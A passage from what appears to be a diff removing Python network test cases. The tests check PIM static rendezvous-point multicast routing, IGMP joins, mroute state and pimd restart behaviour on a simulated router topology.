step("r5: Send multicast traffic for group 225.1.1.1") - result = app_helper.run_traffic("r5", GROUP_ADDRESS, "r3") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r0: Send IGMP join") - result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify IGMP groups") - oif = "r1-r0-eth0" - result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream IIF interface") - result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) ip mroutes") - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream IIF interface") - iif = "r1-r3-eth2" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) ip mroutes") - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream IIF interface") - dut = "r3" - iif = "r3-r5-eth3" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( - tc_name, result - ) - ) - - step("r3: Verify (S, G) ip mroutes") - oif = "r3-r1-eth0" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - # Uncomment next line for debugging - # tgen.mininet_cli() - - write_test_footer(tc_name) - - -def test_RP_configured_as_FHR_1_p1(request): - """ - TC_22_1_P1: Verify OIF and RFP for (*,G) and (S,G) when static RP configure - in FHR router - - Topology used: - ________r2_____ - | | - iperf | | iperf - r0-----r1-------------r3-----r5 - - r1 : LHR - r3 : FHR/RP - """ - - tgen = get_topogen() - tc_name = request.node.name - write_test_header(tc_name) - - # Don"t run this test if we have any failure. - if tgen.routers_have_failure(): - pytest.skip(tgen.errors) - - step("Creating configuration from JSON") - reset_config_on_routers(tgen) - app_helper.stop_all_hosts() - clear_mroute(tgen) - clear_pim_interface_traffic(tgen, TOPO) - - step("Enable IGMP on r1 interface") - step("Configure RP on r2 (loopback interface) for the group range" " 225.1.1.0/24") - step("Enable the PIM on all the interfaces of r1, r2, r3 and r4 routers") - step("Send the IGMP join from r0") - step("Send multicast traffic from r5") - - step("r1, r2, r3, r4: Delete existing RP configuration" "configure r3(FHR) as RP") - input_dict = { - "r1": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - }, - "r2": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - }, - "r3": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - }, - "r4": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - }, - } - result = create_pim_config(tgen, TOPO, input_dict) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1, r2, r3, r4: Configure r3(FHR) as RP") - input_dict = { - "r1": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.3.17", - "group_addr_range": GROUP_RANGE_ALL, - } - ] - } - }, - "r2": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.3.17", - "group_addr_range": GROUP_RANGE_ALL, - } - ] - } - }, - "r3": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.3.17", - "group_addr_range": GROUP_RANGE_ALL, - } - ] - } - }, - "r4": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.3.17", - "group_addr_range": GROUP_RANGE_ALL, - } - ] - } - }, - } - - result = create_pim_config(tgen, TOPO, input_dict) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify RP info") - dut = "r1" - rp_address = "1.0.3.17" - iif = "r1-r3-eth2" - result = verify_pim_rp_info( - tgen, TOPO, dut, GROUP_RANGE_ALL, iif, rp_address, SOURCE - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r0: Send IGMP join") - result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r0: Verify IGMP groups") - oif = "r1-r0-eth0" - result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r5: Send multicast traffic for group 225.1.1.1") - result = app_helper.run_traffic("r5", GROUP_ADDRESS, "r3") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream IIF interface") - result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) ip mroutes") - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream IIF interface") - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) ip mroutes") - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream IIF interface") - dut = "r3" - iif = "r3-r5-eth3" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( - tc_name, result - ) - ) - - step("r3: Verify (S, G) ip mroutes") - oif = "r3-r1-eth0" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - # Uncomment next line for debugging - # tgen.mininet_cli() - - write_test_footer(tc_name) - - -def test_RP_configured_as_FHR_2_p2(request): - """ - TC_22_2_P2: Verify OIF and RFP for (*,G) and (S,G) when static RP configure - in FHR router - - Topology used: - ________r2_____ - | | - iperf | | iperf - r0-----r1-------------r3-----r5 - - r1 : LHR - r3 : FHR/RP - """ - tgen = get_topogen() - tc_name = request.node.name - write_test_header(tc_name) - - # Don"t run this test if we have any failure. - if tgen.routers_have_failure(): - pytest.skip(tgen.errors) - - step("Creating configuration from JSON") - reset_config_on_routers(tgen) - app_helper.stop_all_hosts() - clear_mroute(tgen) - clear_pim_interface_traffic(tgen, TOPO) - - step("Enable IGMP on r1 interface") - step("Configure RP on r2 (loopback interface) for the group range" " 225.1.1.0/24") - step("Enable the PIM on all the interfaces of r1, r2, r3 and r4 routers") - step("Send multicast traffic from r5") - step("Send the IGMP join from r0") - - step("r1, r2, r3, r4: Delete existing RP configuration" "configure r3(FHR) as RP") - input_dict = { - "r1": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - }, - "r2": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - }, - "r3": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - }, - "r4": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.2.17", - "group_addr_range": GROUP_RANGE_ALL, - "delete": True, - } - ] - } - }, - } - - result = create_pim_config(tgen, TOPO, input_dict) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1, r2, r3, r4: Configure r3(FHR) as RP") - input_dict = { - "r1": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.3.17", - "group_addr_range": GROUP_RANGE_ALL, - } - ] - } - }, - "r2": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.3.17", - "group_addr_range": GROUP_RANGE_ALL, - } - ] - } - }, - "r3": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.3.17", - "group_addr_range": GROUP_RANGE_ALL, - } - ] - } - }, - "r4": { - "pim": { - "rp": [ - { - "rp_addr": "1.0.3.17", - "group_addr_range": GROUP_RANGE_ALL, - } - ] - } - }, - } - - result = create_pim_config(tgen, TOPO, input_dict) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify RP info") - dut = "r1" - rp_address = "1.0.3.17" - iif = "r1-r3-eth2" - result = verify_pim_rp_info( - tgen, TOPO, dut, GROUP_RANGE_ALL, iif, rp_address, SOURCE - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r5: Send multicast traffic for group 225.1.1.1") - result = app_helper.run_traffic("r5", GROUP_ADDRESS, "r3") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r0: Send IGMP join") - result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r0: Verify IGMP groups") - oif = "r1-r0-eth0" - result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream IIF interface") - result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) ip mroutes") - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream IIF interface") - iif = "r1-r3-eth2" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) ip mroutes") - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream IIF interface") - dut = "r3" - iif = "r3-r5-eth3" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( - tc_name, result - ) - ) - - step("r3: Verify (S, G) ip mroutes") - oif = "r3-r1-eth0" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - # Uncomment next line for debugging - # tgen.mininet_cli() - - write_test_footer(tc_name) - - -def test_SPT_RPT_path_different_p1(request): - """ - TC_23_P1: Verify (*,G) and (S,G) populated correctly when RPT and SPT path - are different - - Topology used: - ________r2_____ - | | - iperf | | iperf - r0-----r1-------------r3-----r5 - - r1: LHR - r2: RP - r3: FHR - """ - - tgen = get_topogen() - tc_name = request.node.name - write_test_header(tc_name) - - # Don"t run this test if we have any failure. - if tgen.routers_have_failure(): - pytest.skip(tgen.errors) - - step("Creating configuration from JSON") - reset_config_on_routers(tgen) - app_helper.stop_all_hosts() - clear_mroute(tgen) - clear_pim_interface_traffic(tgen, TOPO) - - step("Enable IGMP on r1 interface and send IGMP join (225.1.1.1) to r1") - step("Configure RP on r2 (loopback interface) for the group range" " 224.0.0.0/4") - step("Enable the PIM on all the interfaces of r1, r2, r3 and r4 routers") - step("Send multicast traffic from r3") - - step("r2: Verify RP info") - dut = "r2" - rp_address = "1.0.2.17" - iif = "lo" - result = verify_pim_rp_info(tgen, TOPO, dut, GROUP_ADDRESS, iif, rp_address, SOURCE) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r0: Send IGMP join") - result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify IGMP groups") - dut = "r1" - oif = "r1-r0-eth0" - result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r5: Send multicast traffic for group 225.1.1.1") - result = app_helper.run_traffic("r5", GROUP_ADDRESS, "r3") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream IIF interface") - iif = "r1-r2-eth1" - result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) ip mroutes") - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream IIF interface") - iif = "r1-r3-eth2" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) ip mroutes") - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) upstream IIF interface") - dut = "r2" - iif = "lo" - result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) ip mroutes") - oif = "r2-r1-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream IIF interface") - dut = "r3" - iif = "r3-r5-eth3" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( - tc_name, result - ) - ) - - step("r3: Verify (S, G) ip mroutes") - oif = "r3-r1-eth0" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (S, G) upstream IIF interface") - dut = "r2" - iif = "r2-r3-eth1" - result = verify_upstream_iif( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS, joinState="NotJoined" - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r2: (S,G) upstream state is joined and join timer is running\n Error: {}".format( - tc_name, result - ) - ) - - step("r2: Verify (S, G) ip mroutes") - oif = "none" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - # Uncomment next line for debugging - # tgen.mininet_cli() - - write_test_footer(tc_name) - - -def test_clear_pim_configuration_p1(request): - """ - TC_25_P1: Verify (*,G) and (S,G) populated correctly after clearing the - PIM,IGMP and mroutes joins - - Topology used: - ________r2_____ - | | - iperf | | iperf - r0-----r1-------------r3-----r5 - | | - |_____________| - r4 - r1 : LHR - r2 : RP - r3 : FHR - """ - - tgen = get_topogen() - tc_name = request.node.name - write_test_header(tc_name) - - # Don"t run this test if we have any failure. - if tgen.routers_have_failure(): - pytest.skip(tgen.errors) - - step("Creating configuration from JSON") - reset_config_on_routers(tgen) - app_helper.stop_all_hosts() - clear_mroute(tgen) - clear_pim_interface_traffic(tgen, TOPO) - - step("Enable IGMP on r1 interface") - step("Configure RP on r2 (loopback interface) for the group range" " 224.0.0.0/4") - step("Enable the PIM on all the interfaces of r1, r2, r3 and r4 routers") - step("Send the IGMP join from r0") - step("Send multicast traffic from r5") - - step("r2: Verify RP info") - dut = "r2" - rp_address = "1.0.2.17" - oif = "lo" - result = verify_pim_rp_info( - tgen, TOPO, dut, GROUP_RANGE_ALL, oif, rp_address, SOURCE - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r0: Send IGMP join") - result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify IGMP groups") - dut = "r1" - iif = "r1-r0-eth0" - result = verify_igmp_groups(tgen, dut, iif, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r5: Send multicast traffic for group 225.1.1.1") - result = app_helper.run_traffic("r5", GROUP_ADDRESS, "r3") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream IIF interface") - dut = "r1" - iif = "r1-r2-eth1" - result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) ip mroutes") - oif = "r1-r0-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify IGMP groups timer restarted") - result = clear_igmp_interfaces(tgen, dut) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify PIM neighbor timer restarted") - result = clear_pim_interfaces(tgen, dut) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify PIM mroute timer restarted") - result = clear_mroute_verify(tgen, dut) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - # Uncomment next line for debugging - # tgen.mininet_cli() - - write_test_footer(tc_name) - - -def test_restart_pimd_process_p2(request): - """ - TC_26_P2: Restart the PIMd process and verify PIM upstream and mroutes - entries - Topology used: - ________r2_____ - | | - iperf | | iperf - r0-----r1-------------r3-----r5 - | | - |_____________| - r4 - r1 : LHR - r2 : RP - r3 : FHR - """ - - tgen = get_topogen() - tc_name = request.node.name - write_test_header(tc_name) - - # Don"t run this test if we have any failure. - if tgen.routers_have_failure(): - pytest.skip(tgen.errors) - - step("Creating configuration from JSON") - reset_config_on_routers(tgen) - app_helper.stop_all_hosts() - clear_mroute(tgen) - clear_pim_interface_traffic(tgen, TOPO) - - step("Enable IGMP on r1 interface and send IGMP join (225.1.1.1) to R1") - step("Configure RP on r3 (loopback interface) for the group range" " 224.0.0.0/4") - step("Enable the PIM on all the interfaces of r1, r2, r3 and r4 routers") - step("Send multicast traffic from R3") - step("Restart the PIMd process") - - step("r2: Verify RP info") - dut = "r2" - rp_address = "1.0.2.17" - oif = "lo" - result = verify_pim_rp_info( - tgen, TOPO, dut, GROUP_RANGE_ALL, oif, rp_address, SOURCE - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r0: Send IGMP join") - result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify IGMP groups") - dut = "r1" - oif = "r1-r0-eth0" - result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r5: Send multicast traffic for group 225.1.1.1") - result = app_helper.run_traffic("r5", GROUP_ADDRESS, "r3") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream IIF interface") - iif = "r1-r2-eth1" - result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) ip mroutes") - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream IIF interface") - iif = "r1-r3-eth2" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (S, G) ip mroutes") - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) upstream IIF interface") - dut = "r2" - iif = "lo" - result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r2: Verify (*, G) ip mroutes") - oif = "r2-r1-eth0" - result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream IIF interface") - dut = "r3" - iif = "r3-r5-eth3" - result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r3: Verify (S, G) upstream join state and join timer") - result = verify_join_state_and_timer( - tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS, expected=False - ) - assert result is not True, ( - "Testcase {} : Failed \n " - "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( - tc_name, result - ) - ) - - step("r3: Verify (S, G) ip mroutes") - oif = "r3-r1-eth0" - result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - dut = "r1" - iif = "r1-r2-eth1" - oil = "r1-r0-eth0" - logger.info("waiting for 10 sec to make sure old mroute time is higher") - sleep(10) - # Why do we then wait 60 seconds below before checking the routes? - uptime_before = verify_mroutes( - tgen, dut, STAR, GROUP_ADDRESS, iif, oil, return_uptime=True, mwait=60 - ) - assert isinstance(uptime_before, dict), "Testcase{} : Failed Error: {}".format( - tc_name, result - ) - - step("r1: Kill pimd process") - kill_router_daemons(tgen, "r1", ["pimd"]) - - step("r1 : Start pimd process") - start_router_daemons(tgen, "r1", ["pimd"]) - - logger.info("Waiting for 5sec to get PIMd restarted and mroute" " re-learned..") - sleep(5) - - # Why do we then wait 10 seconds below before checking the routes? - uptime_after = verify_mroutes( - tgen, dut, STAR, GROUP_ADDRESS, iif, oil, return_uptime=True, mwait=10 - ) - assert isinstance(uptime_after, dict), "Testcase{} : Failed Error: {}".format( - tc_name, result - ) - - result = verify_mroute_repopulated(uptime_before, uptime_after) - assert result is True, "Testcase{} : Failed Error: {}".format(tc_name, result) - - write_test_footer(tc_name) - - -def test_multiple_groups_same_RP_address_p2(request): - """ - TC_27_P2: Configure multiple groups (10 grps) with same RP address - - Topology used: - ________r2_____ - | | - iperf | | iperf - r0-----r1-------------r3-----r5 - - r1 : LHR - r2 : RP - r3 : FHR - """ - - tgen = get_topogen() - tc_name = request.node.name - write_test_header(tc_name) - - # Don"t run this test if we have any failure. - if tgen.routers_have_failure(): - pytest.skip(tgen.errors) - - step("Creating configuration from JSON") - reset_config_on_routers(tgen) - app_helper.stop_all_hosts() - clear_mroute(tgen) - clear_pim_interface_traffic(tgen, TOPO) - - step("Enable IGMP on r1 interface and send IGMP join (225.1.1.1) to r1") - step("Configure RP on r2 (loopback interface) for the group range" "225.1.1.0/24") - step("Enable the PIM on all the interfaces of r1-r2-r3") - step("Send multicast traffic from r5 to all the groups") - step("r1 : Remove the groups to RP mapping one by one") - step("r1: Shut the upstream interfaces") - step("r1: No shut the upstream interfaces") - step("r1: Configure the RP again") - step("r1: Shut the receiver interfaces") - step("r1: No Shut the receiver interfaces") - step("r2: Verify RP info") - - step("r2: verify rp-info") - dut = "r2" - rp_address = "1.0.2.17" - oif = "lo" - result = verify_pim_rp_info( - tgen, TOPO, dut, GROUP_RANGE_ALL, oif, rp_address, SOURCE - ) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - group_address_list = GROUP_ADDRESS_LIST_1 + GROUP_ADDRESS_LIST_2 - step("r0: Send IGMP join for 10 groups") - result = app_helper.run_join("r0", group_address_list, "r1") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify IGMP groups") - dut = "r1" - oif = "r1-r0-eth0" - result = verify_igmp_groups(tgen, dut, oif, group_address_list) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r5: Send multicast traffic for group 225.1.1.1") - result = app_helper.run_traffic("r5", group_address_list, "r3") - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream IIF interface") - dut = "r1" - iif = "r1-r2-eth1" - result = verify_upstream_iif(tgen, dut, iif, STAR, group_address_list) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) upstream join state and join timer") - result = verify_join_state_and_timer(tgen, dut, iif, STAR, group_address_list) - assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) - - step("r1: Verify (*, G) ip mroutes") - oif = "r1-r0-eth0" - result = verify_mroutes(tgen, dut, STAR, group_address_list, iif, oif) - assert result is True, "Testcase {} :Failed \n Error: 